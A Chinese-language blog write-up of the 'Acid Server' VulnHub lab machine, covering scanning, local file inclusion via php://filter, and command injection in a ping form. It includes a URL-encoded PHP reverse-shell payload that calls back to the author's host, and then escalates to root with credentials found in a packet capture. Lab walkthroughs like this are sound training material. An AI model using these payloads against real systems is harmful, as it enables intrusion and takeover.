Damn1t
for you I bleed myself dry
FRIENDS
baidu

acid server靶机渗透

2019-04-17 靶机

acid server靶机渗透

虚拟机地址:https://download.vulnhub.com/acid/Acid.rar

信息搜集

开启acid,不用登陆,已启用服务

靶机描述:

The named of the Virtual machine is “Acid Server”. This Virtual Machine is completely web based. I have added little new concept here and hope people will enjoy solving this.You need to extract the rar and run the vmx using VMplayer . The machine has DHCP active list so once automatically assign an IP network, the next step will be to identify the target and discover the / the service / s to start the game.

  • 先使用nmap扫描内网存活主机:nmap -sP 192.168.199.0/24,找到靶机地址:192.168.199.186
  • 然后就是端口扫描:nmap -sS -sV -p1-65535 192.168.199.186,扫出一个端口:

    PORT STATE SERVICE VERSION
    33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
    MAC Address: 00:0C:29:28:EB:0D (VMware)

  • 在地址栏输入:192.168.199.186:33447,看到一个页面

纯静态,于是查看源码,在最底部发现<!--0x643239334c6d70775a773d3d-->,将hex转ascii,得到d293LmpwZw==,再base64解码,得到wow.jpg,于是访问/images/wow.jpg,将图片下载下来,winhex查看,在最底部发现一串hex,再次解码得到一个md5,将其解密:63425

  • 先以为63425为acid的root密码,结果发现是我太天真了,后来参考别人的writeup,发现了又一个目录扫描工具:dirbuster

  • 扫描目录,发现了Challenge目录,输入得到一个登录页面:

  • 找寻其他线索,根据得到的文件

  • 最终在hacked.php中得到如下页面

  • /Challenge/include.php中得到如下页面

发现include.php?file=//etc/passwd可以进行任意文件读取:

  • 利用php://filter/read=convert.base64-encode/resource=xxx.php读文件,读到psl-config.php中有如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
define("HOST", "localhost"); // The host you want to connect to.
define("USER", "root"); // The database username.
define("PASSWORD", "mehak"); // The database password.
define("DATABASE", "secure_login"); // The database name.

/**
* Who can register and what the default role will be
* Values for who can register under a standard setup can be:
* any == anybody can register (default)
* admin == members must be registered by an administrator
* root == only the root user can register members
*
* Values for default role can be any valid role, but it's hard to see why
* the default 'member' value should be changed under the standard setup.
* However, additional roles can be added and so there's nothing stopping
* anyone from defining a different default.
*/
define("CAN_REGISTER", "any");
define("DEFAULT_ROLE", "member");

/**
* Is this a secure connection? The default is FALSE, but the use of an
* HTTPS connection for logging in is recommended.
*
* If you are using an HTTPS connection, change this to TRUE
*/
define("SECURE", FALSE); // For development purposes only!!!!
  • 但是啊,没有mysql的地址

尝试查看配置文件和环境变量,但依然无果,没想到啊,我真的服了,看到cake.php页面突然发现了猫腻

于是尝试/Magic_Box目录,再次爆破,又发现了:

command.php
low.php

进入http://192.168.199.186:33447/Challenge/Magic_Box/command.php,如下页面:

向指定地址发送IP数据包,于是想到反弹shell
利用include.php查看command.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include_once '../includes/db_connect.php';
include_once '../includes/functions.php';
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'IP' ];

if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
echo "$cmd</br>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="../css/style.css">
<link rel="stylesheet" href="../styles/main.css" />
<title>Reverse Kunfu</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<p> <h1>You are 1337 Hax0r. Keep your patiene and proceed further.</h1> <br>
<form method="post" action="<?php $_PHP_SELF ?>">
Enter the Host to Ping:<input name="IP" placeholder="IP ADDRESS" type="text" id="IP" maxlength="200">
<input name="submit" type="submit" id="submit" value="submit">
</body>
</html>

有两个函数要注意:
stristr()

stristr() 函数搜索字符串在另一字符串中的第一次出现

php_uname

  1. 说明
      php_uname — 返回运行 PHP 的系统的有关信息。
      原型:string php_uname ([ string $mode = “a” ] )。返回运行php的操作系统的相关描述,和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。

  2. 参数
      mode 是单个字符,用于定义要返回什么信息:

‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。
’s’:操作系统名称。例如: FreeBSD。
‘n’:主机名。例如: localhost.example.com。
‘r’:版本名称,例如: 5.1.2-RELEASE。
‘v’:版本信息。操作系统之间有很大的不同。
‘m’:机器类型。例如:i386。

伪造useragent为windows nt
再输入如下参数:192.168.199.138%3b%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%31%39%39%2e%32%33%38%22%2c%38%38%38%38%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27%0a,得到shell,下一步则是提权

  • 查看内核uname -a

    Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux

  • 查看发行版本cat /etc/issue,没东西

  • 查看详细信息cat /etc/*-release

    DISTRIB_ID=Ubuntu
    DISTRIB_RELEASE=15.04
    DISTRIB_CODENAME=vivid
    DISTRIB_DESCRIPTION=”Ubuntu 15.04”
    NAME=”Ubuntu”
    VERSION=”15.04 (Vivid Vervet)”
    ID=ubuntu
    ID_LIKE=debian
    PRETTY_NAME=”Ubuntu 15.04”
    VERSION_ID=”15.04”
    HOME_URL=”http://www.ubuntu.com/
    SUPPORT_URL=”http://help.ubuntu.com/
    BUG_REPORT_URL=”http://bugs.launchpad.net/ubuntu/

无法使用vimnanoll无法使用但可用ls -ll代替,searchsploit linux 3.9 ubuntu priv esc也没找到exp

于是就可以利用su提权

1、su命令

su命令用来切换用户,substitute英文含义“代替”的意思

①su:不加用户名默认是切换为root用户,切当前目录不改变,其他环境变量不变

②su - 或者su -l 或者 su –login:切换为root用户,同时变更工作目录,以及SHELL,USER,PATH,HOME,LOGNAME变量

③su username :切换为其他用户,目录不改变,SHELL,USER,PATH,HOME,LOGNAME变量改变

④su -, -l, –login username:切换到其他用户,变更工作目录,以及SHELL,USER,PATH,HOME,LOGNAME变量

​⑤其他参数:

2、sudo命令

sudo命令:sudo为superuser do 的简写,即使用超级用户来执行命令,一般是指root用户

sudoers文件存放在etc目录下,我们可以直接输入命令visudo编辑sudoers文件,使用visudo命令编辑文件,会验证我们添加的信息是否有语法错误

susu -

su命令和su -命令最大的本质区别就是:前者只是切换了root身份,但Shell环境仍然是普通用户的Shell;而后者连用户和Shell环境一起切换成root身份了

但无法使用su命令,于是可以新建一个会话,指令如下(这里有一点坑了很久,必须先su提权,否则在后面的ssh就会失败):

1
2
3
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

  • cat /etc/passwd查看有哪些用户
  • find \ -user acid 2>/dev/null找文件试图找出线索,发现了/sbin/raw_vs_isi/hint.pcapng

利用scp进行文件传输:scp -P22 /sbin/raw_vs_isi/hint.pcapng root@192.168.199.238:/root/
Linux的几种文件传输命令
然后再在kali上用wireshark查看,分析tcp包,找到一个用户和密码:saman;1337hax0r

  • sudo saman成功登录
  • sudo root,密码相同,然后在/root/flag.txt

Author: damn1t

Link: http://microvorld.com/2019/04/17/靶机/acid/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
Ubuntu升级python3.7
NextPost >
ssrf
CATALOG
  1. 1. acid server靶机渗透
    1. 1.1. 信息搜集